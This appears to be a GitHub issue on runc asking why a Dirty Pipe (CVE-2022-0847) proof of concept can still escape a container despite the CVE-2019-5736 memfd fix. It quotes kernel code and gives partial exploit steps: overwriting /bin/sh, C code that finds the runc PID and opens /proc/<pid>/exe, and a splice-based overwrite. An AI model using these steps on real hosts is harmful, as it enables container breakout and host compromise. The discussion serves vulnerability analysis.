Skip to content

Why dirty pipe can escape container? #3422

@g0dA

Description

@g0dA

Overwriting /proc/runc pid/exe through dirty pipe(CVE-2022-0847) can cause container escape like CVE-2019-5736

But CVE-2019-5736 was fixed by memfd_create in commit nsenter: clone /proc/self/exe to avoid exposing host binary to container

For now i think /proc/runc pid/exe is an in-memory file, if we open it we can get fd created by memfd_create
in kernel :

static int proc_exe_link(struct dentry *dentry, struct path *exe_path)
{
	struct task_struct *task;
	struct file *exe_file;

	task = get_proc_task(d_inode(dentry));
	if (!task)
		return -ENOENT;
	exe_file = get_task_exe_file(task);
	put_task_struct(task);
	if (exe_file) {
		*exe_path = exe_file->f_path;
		path_get(&exe_file->f_path);
		fput(exe_file);
		return 0;
	} else
		return -ENOENT;
}

exe_file is task->mm->exe_file and it It should be an in-memory file not a file on disk,so we shouldn't be able to overwrite the disk file by overwriting it

But my poc works and i don't know why

Steps :

  1. echo '#!/proc/self/exe' > /bin/sh
  2. search runc pid
	while (found == 0) {
		dir = opendir("/proc");
		while ((ptr = readdir(dir)) != NULL) {
			snprintf(path, sizeof(path), "/proc/%s/cmdline", ptr->d_name);
			if (isRuncProcess(path, "runc")) {
				found = atoi(ptr->d_name);
				printf("[+] Found the RUNC PID: %d\n", found);
				break;		
			}
		}
		closedir(dir);
	}
  1. open /proc/runc pid/exe
	int handleFd = -1;
	while (handleFd == -1) {
		snprintf(path, sizeof(path), "/proc/%d/exe", found);
		handleFd = open(path, O_RDONLY);
	}	
  1. runc exec -t test /bin/sh
  2. splice + write overwrite

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions